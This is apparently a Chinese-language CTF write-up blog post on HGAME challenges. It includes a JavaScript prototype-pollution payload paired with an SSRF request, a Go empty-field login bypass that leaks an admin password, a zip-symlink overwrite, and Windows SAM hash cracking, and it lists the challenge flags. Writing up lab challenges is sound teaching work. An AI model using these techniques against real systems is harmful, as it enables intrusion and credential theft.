Web-webvpn
考点
- js原型链__proto过滤__污染配合ssrf
题目描述
分析
下载题目附件得到js源码
代审后已加注释
const express = require("express");
const axios = require("axios");
const bodyParser = require("body-parser");
const path = require("path");
const fs = require("fs");
const { v4: uuidv4 } = require("uuid");
const session = require("express-session");
const app = express();
const port = 3000;
const session_name = "my-webvpn-session-id-" + uuidv4().toString();
app.set("view engine", "pug");
app.set("trust proxy", false);
app.use(express.static(path.join(__dirname, "public")));
app.use(
session({
name: session_name,
secret: uuidv4().toString(),
secure: false,
resave: false,
saveUninitialized: true,
})
);
app.use(bodyParser.json());
var userStorage = {
username: {
password: "password",
info: {
age: 18,
},
strategy: {
"baidu.com": true,
"google.com": false,
},
},
};
function update(dst, src) {
for (key in src) {
if (key.indexOf("__") != -1) {
continue;
}
if (typeof src[key] == "object" && dst[key] !== undefined) {
update(dst[key], src[key]);
continue;
}
dst[key] = src[key];
}
}
app.use("/proxy", async (req, res) => {
const { username } = req.session;
if (!username) {
res.sendStatus(403);
}
let url = (() => { //创建url对象,并且通过js的内置对象URL检查是否有url参数,如果没有则返回invalid url.
try { //比如直接访问/proxy就会返回invalid url.
return new URL(req.query.url);
} catch {
res.status(400);
res.end("invalid url.");
return undefined;
}
})();
if (!url) return;
if (!userStorage[username].strategy[url.hostname]) { //检查url对象的主机名部分不包括端口号
res.status(400);
res.end("your url is not allowed.");
} //检查userStorage[username].strategy是否为ture,比如Google.com为false就会返回your url is not allowed
try {
const headers = req.headers;
headers.host = url.host;
headers.cookie = headers.cookie.split(";").forEach((cookie) => {
var filtered_cookie = "";
const [key, value] = cookie.split("=", 1); //分割cookie第一个=左右的值并分配给key,value
if (key.trim() !== session_name) {
filtered_cookie += `${key}=${value};`;
}
return filtered_cookie;//将不是会话 cookie 的其他 cookie 过滤掉,并将剩余的会话 cookie 构建成一个新的 cookie 字符串,最后返回
});
const remote_res = await (() => {
if (req.method == "POST") {
return axios.post(url, req.body, {
headers: headers,
});
} else if (req.method == "GET") {
return axios.get(url, {
headers: headers,
});
} else {
res.status(405);
res.end("method not allowed.");
return;
}
})();
res.status(remote_res.status);
res.header(remote_res.headers);
res.write(remote_res.data);
} catch (e) {
res.status(500);
res.end("unreachable url.");
}
});
app.post("/user/login", (req, res) => {
const { username, password } = req.body;
if (
typeof username != "string" ||
typeof password != "string" ||
!username ||
!password
) {
res.status(400);
res.end("invalid username or password");
return;
}
if (!userStorage[username]) {
res.status(403);
res.end("invalid username or password");
return;
}
if (userStorage[username].password !== password) {
res.status(403);
res.end("invalid username or password");
return;
}
req.session.username = username;
res.send("login success");
});
// under development
app.post("/user/info", (req, res) => {
if (!req.session.username) {
res.sendStatus(403);
}
update(userStorage[req.session.username].info, req.body);
res.sendStatus(200);
});
app.get("/home", (req, res) => {
if (!req.session.username) {
res.sendStatus(403);
return;
}
res.render("home", {
username: req.session.username,
strategy: ((list)=>{
var result = [];
for (var key in list) {
result.push({host: key, allow: list[key]});
}
return result;
})(userStorage[req.session.username].strategy),
});
});
// demo service behind webvpn
app.get("/flag", (req, res) => {
if (
req.headers.host != "127.0.0.1:3000" ||
req.hostname != "127.0.0.1" ||
req.ip != "127.0.0.1"
) {
res.sendStatus(400);
return;
}
const data = fs.readFileSync("/flag");
res.send(data);
});
app.listen(port, '0.0.0.0', () => {
console.log(`app listen on ${port}`);
});
可以看到这段代码存在原型链污染
function update(dst, src) {
for (key in src) {
if (key.indexOf("__") != -1) {
continue;
}
if (typeof src[key] == "object" && dst[key] !== undefined) {
update(dst[key], src[key]);
continue;
}
dst[key] = src[key];
}
}
大致思路如下:如果污染strategy使其存在一个127.0.0.1的属性,然后在/proxy通过ssrf读取127.0.0.1:3000/flag路由,因为/proxy路由只允许读取strategy。因此通过update函数污染strategy使127.0.0.1为true即可
/user/info调用了update函数,去该路由下进行污染
POST /user/info HTTP/1.1
Host: 139.224.232.162:31989
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 0
Content-Type: application/json
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
cookie: my-webvpn-session-id-16d07129-af5d-4a94-832c-64e7b05aa0b1=s%3AosV8JgT2QnWChtj1Sv6k60jNRbqI52s1.LzRMjQQ6BffOIBuax2qIa%2F4rvaYZ6ByGKe%2FaMR9ZPIM
{"constructor":{"prototype":{"127.0.0.1":true}}}
然后访问139.224.232.162:31989/proxy?url=http://127.0.0.1:3000/flag
会有一个proxy文件下载下来,打开就是flag
flag
hgame{960fd010edba920bca9b16b93ac3e9756052142f}
Web-Zero Link
考点
- 用户登录存在的逻辑漏洞(GO语言的零值设计,无法区分结构体中的字段是否被赋值过)
- 文件上传软连接
题目描述
分析
开题是这样一个界面
下载附件得到
代审\src\internal\database\sqlite.go
路由
这是开题页面的后端代码,用于查询用户信息
package database
import (
"log"
"zero-link/internal/config"
"gorm.io/driver/sqlite"
"gorm.io/gorm"
)
var db *gorm.DB
type User struct {
gorm.Model
Username string `gorm:"not null;column:username;unique"`
Password string `gorm:"not null;column:password"`
Token string `gorm:"not null;column:token"`
Memory string `gorm:"not null;column:memory"`
}
func init() {
databaseLocation := config.Sqlite.Location
var err error
db, err = gorm.Open(sqlite.Open(databaseLocation), &gorm.Config{})
if err != nil {
panic("Cannot connect to SQLite: " + err.Error())
}
err = db.AutoMigrate(&User{})
if err != nil {
panic("Failed to migrate database: " + err.Error())
}
users := []User{
{Username: "Admin", Token: "0000", Password: "Admin password is here", Memory: "Keep Best Memory!!!"},
{Username: "Taka", Token: "4132", Password: "newfi443543", Memory: "Love for pixel art."},
{Username: "Tom", Token: "8235", Password: "ofeni3525", Memory: "Family is my treasure"},
{Username: "Alice", Token: "1234", Password: "abcde12345", Memory: "Graduating from college"},
{Username: "Bob", Token: "5678", Password: "fghij67890", Memory: "Winning a championship in sports"},
{Username: "Charlie", Token: "9012", Password: "klmno12345", Memory: "Traveling to a foreign country for the first time"},
{Username: "David", Token: "3456", Password: "pqrst67890", Memory: "Performing on stage in a theater production"},
{Username: "Emily", Token: "7890", Password: "uvwxy12345", Memory: "Meeting my favorite celebrity"},
{Username: "Frank", Token: "2345", Password: "zabcd67890", Memory: "Overcoming a personal challenge"},
{Username: "Grace", Token: "6789", Password: "efghi12345", Memory: "Completing a marathon"},
{Username: "Henry", Token: "0123", Password: "jklmn67890", Memory: "Becoming a parent"},
{Username: "Ivy", Token: "4567", Password: "opqrs12345", Memory: "Graduating from high school"},
{Username: "Jack", Token: "8901", Password: "tuvwx67890", Memory: "Starting my own business"},
{Username: "Kelly", Token: "2345", Password: "yzabc12345", Memory: "Learning to play a musical instrument"},
{Username: "Liam", Token: "6789", Password: "defgh67890", Memory: "Winning a scholarship for higher education"},
}
for _, user := range users {
result := db.Create(&user)
if result.Error != nil {
panic("Failed to create user: " + result.Error.Error())
}
}
}
func GetPasswordByUsername(username string) (string, error) {
var user User
err := db.Where("username = ?", username).First(&user).Error
if err != nil {
log.Println("Cannot get password: " + err.Error())
return "", err
}
return user.Password, nil
}
func GetUserByUsernameOrToken(username string, token string) (*User, error) {
var user User
query := db
if username != "" {
query = query.Where(&User{Username: username})
} else {
query = query.Where(&User{Token: token})
}
err := query.First(&user).Error
if err != nil {
log.Println("Cannot get user: " + err.Error())
return nil, err
}
return &user, nil
}
代审下来之后,这就是个数据库操作的后端代码,并提供了查询功能
因此下一步目标就是获取admin的password
审计routes.go,给出了路由
package routes
import (
"fmt"
"html/template"
"net/http"
"os"
"os/signal"
"path/filepath"
"zero-link/internal/config"
"zero-link/internal/controller/auth"
"zero-link/internal/controller/file"
"zero-link/internal/controller/ping"
"zero-link/internal/controller/user"
"zero-link/internal/middleware"
"zero-link/internal/views"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
)
func Run() {
r := gin.Default()
html := template.Must(template.New("").ParseFS(views.FS, "*"))
r.SetHTMLTemplate(html)
secret := config.Secret.SessionSecret
store := cookie.NewStore([]byte(secret))
r.Use(sessions.Sessions("session", store))
api := r.Group("/api")
{
api.GET("/ping", ping.Ping)
api.POST("/user", user.GetUserInfo)
api.POST("/login", auth.AdminLogin)
apiAuth := api.Group("")
apiAuth.Use(middleware.Auth())
{
apiAuth.POST("/upload", file.UploadFile)
apiAuth.GET("/unzip", file.UnzipPackage)
apiAuth.GET("/secret", file.ReadSecretFile)
}
}
frontend := r.Group("/")
{
frontend.GET("/", func(c *gin.Context) {
c.HTML(http.StatusOK, "index.html", nil)
})
frontend.GET("/login", func(c *gin.Context) {
c.HTML(http.StatusOK, "login.html", nil)
})
frontendAuth := frontend.Group("")
frontendAuth.Use(middleware.Auth())
{
frontendAuth.GET("/manager", func(c *gin.Context) {
c.HTML(http.StatusOK, "manager.html", nil)
})
}
}
quit := make(chan os.Signal)
signal.Notify(quit, os.Interrupt)
go func() {
<-quit
err := os.Remove(filepath.Join(".", "sqlite.db"))
if err != nil {
fmt.Println("Failed to delete sqlite.db:", err)
} else {
fmt.Println("sqlite.db deleted")
}
os.Exit(0)
}()
r.Run(":8000")
}
审计\src\internal\controller\user\user.go
package user
import (
"net/http"
"zero-link/internal/database"
"github.com/gin-gonic/gin"
)
type UserInfoResponse struct {
Code int `json:"code"`
Message string `json:"message"`
Data *database.User `json:"data"`
}
func GetUserInfo(c *gin.Context) {
var req struct {
Username string `json:"username"`
Token string `json:"token"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, UserInfoResponse{
Code: http.StatusBadRequest,
Message: "Invalid request body",
Data: nil,
})
return
}
if req.Username == "Admin" || req.Token == "0000" {
c.JSON(http.StatusForbidden, UserInfoResponse{
Code: http.StatusForbidden,
Message: "Forbidden",
Data: nil,
})
return
}
user, err := database.GetUserByUsernameOrToken(req.Username, req.Token)
if err != nil {
c.JSON(http.StatusInternalServerError, UserInfoResponse{
Code: http.StatusInternalServerError,
Message: "Failed to get user",
Data: nil,
})
return
}
if user == nil {
c.JSON(http.StatusNotFound, UserInfoResponse{
Code: http.StatusNotFound,
Message: "User not found",
Data: nil,
})
return
}
response := UserInfoResponse{
Code: http.StatusOK,
Message: "Ok",
Data: user,
}
c.JSON(http.StatusOK, response)
}
尽管页面限制了 token 和 username 不能同时为空,但是后端没限制。
只判断token和username是否在数据库中,或者是否为Admin或者0000,却没有判断是否为空,将两者都设置为空
官方解释如下
于是传空值
可以看到响应包返回了密码
{
"code": 200,
"message": "Ok",
"data": {
"ID": 1,
"CreatedAt": "2024-02-26T10:50:44.740550463Z",
"UpdatedAt": "2024-02-26T10:50:44.740550463Z",
"DeletedAt": null,
"Username": "Admin",
"Password": "Zb77jbeoZkDdfQ12fzb0",
"Token": "0000",
"Memory": "Keep Best Memory!!!"
}
}
然后用此密码登进系统
发现是文件上传
审计src\internal\controller\file\file.go
源码
for _, file := range files {
cmd := exec.Command("unzip", "-o", file, "-d", "/tmp/")
if err := cmd.Run(); err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to unzip file: " + file,
Data: "",
})
return
}
}
存在这样一段代码,不难想到文件上传之unzip软链接攻击
file.go完整代码如下
package file
import (
"net/http"
"os"
"os/exec"
"path/filepath"
"zero-link/internal/util"
"github.com/gin-gonic/gin"
)
type FileResponse struct {
Code int `json:"code"`
Message string `json:"message"`
Data string `json:"data"`
}
func UploadFile(c *gin.Context) {
file, err := c.FormFile("file")
if err != nil {
c.JSON(http.StatusBadRequest, FileResponse{
Code: http.StatusBadRequest,
Message: "No file uploaded",
Data: "",
})
return
}
ext := filepath.Ext(file.Filename)
if (ext != ".zip") || (file.Header.Get("Content-Type") != "application/zip") {
c.JSON(http.StatusBadRequest, FileResponse{
Code: http.StatusBadRequest,
Message: "Only .zip files are allowed",
Data: "",
})
return
}
filename := "/app/uploads/" + file.Filename
if _, err := os.Stat(filename); err == nil {
err := os.Remove(filename)
if err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to remove existing file",
Data: "",
})
return
}
}
err = c.SaveUploadedFile(file, filename)
if err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to save file",
Data: "",
})
return
}
c.JSON(http.StatusOK, FileResponse{
Code: http.StatusOK,
Message: "File uploaded successfully",
Data: filename,
})
}
func UnzipPackage(c *gin.Context) {
files, err := filepath.Glob("/app/uploads/*.zip")
if err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to get list of .zip files",
Data: "",
})
return
}
for _, file := range files {
cmd := exec.Command("unzip", "-o", file, "-d", "/tmp/")
if err := cmd.Run(); err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to unzip file: " + file,
Data: "",
})
return
}
}
c.JSON(http.StatusOK, FileResponse{
Code: http.StatusOK,
Message: "Unzip completed",
Data: "",
})
}
func ReadSecretFile(c *gin.Context) {
secretFilepath := "/app/secret"
content, err := util.ReadFileToString(secretFilepath)
if err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to read secret file",
Data: "",
})
return
}
secretContent, err := util.ReadFileToString(content)
if err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to read secret file content",
Data: "",
})
return
}
c.JSON(http.StatusOK, FileResponse{
Code: http.StatusOK,
Message: "Secret content read successfully",
Data: secretContent,
})
}
这里再来理一下思路:这里的源码全部都指向/app,说明工作目录基于/app,因此我上传软连接需要将压缩包指向应用工作目录/app然后再进行其他操作
制作压缩包
上传1.zip后调用/api/unzip进行解压
然后调用/api/secrert路由
发现默认读取的是fake_flag
再创建⼀个 link/secret ⽂件,⽂件内容为 /flag ,然后压缩这个 link ⽬录为2.zip,上传后
调⽤ /api/unzip 接⼝进⾏解压,⽤⾃定义的secret⽂件覆盖系统中原有的secret⽂件(原本secret文件时/fake_flag,现在改为/flag)
因此上传2.zip后再次解压调用/api/secret即可读取/flag内容
flag
hgame{w0W_u_Re4l1y_Kn0W_Golang_4ND_uNz1P!}
Web-Vidarbox
题目描述
分析
略
Misc-与ai聊天
纯脑洞
Misc-简单的vmdk取证
考点
- 硬盘取证-Windows系统密码破解-saminside工具利用
题目描述
分析
下载附件得到一个vmdk文件,显然是硬盘取证
通过7z处理vmdk(其实预期工具最好是magnet AXIOM,工具太大还没下好,这里我用saminside替代)
7z x hgame.vmdk -o./
题目要求获取Windows密码及其nt-hash
思路如下:
1.获取目录C:Windows\System32\config下的SAM和SYSTEM文件
2.使用SAMInside获取用户的NT-HASH
3.在线网站破解
第二步通过saminside加载之后如下图
得到 admin的ntash的password为DAC3A2930FC196001F3AEAB959748448
去在线网站破解https://cmd5.org/
所以flag为
hgame{DAC3A2930FC196001F3AEAB959748448_admin1234}
flag
hgame{DAC3A2930FC196001F3AEAB959748448_admin1234}
Misc-简单的取证,不过前十个有红包
考点
- 磁盘取证
- 二进制文件挂载(veracrypt工具的使用)
题目描述
上一个题的磁盘里有图片
分析
下载附件得到一个vera.hc,这个hc文件是啥呢?
"hc" 文件通常是一种二进制文件格式的缩写
通过veracrypt工具挂载hc文件需要密码,而这个题的题目描述 不难想到密码要从上一个题的磁盘里面去找
然后找到一张jpg得到密码968fJD17UBzZG6e3yjF6
拿去veracrypt挂载
打开flag.txt即flag
flag
hgame{happy_new_year_her3_1s_a_redbag_key_41342177}
Misc-Blind Sql Injection
考点
- sql盲注的流量分析
题目描述
分析
工具一把梭
flag
flag{cbabafe7-1725-4e98-bac6-d38c5928af2f}
Comments | NOTHING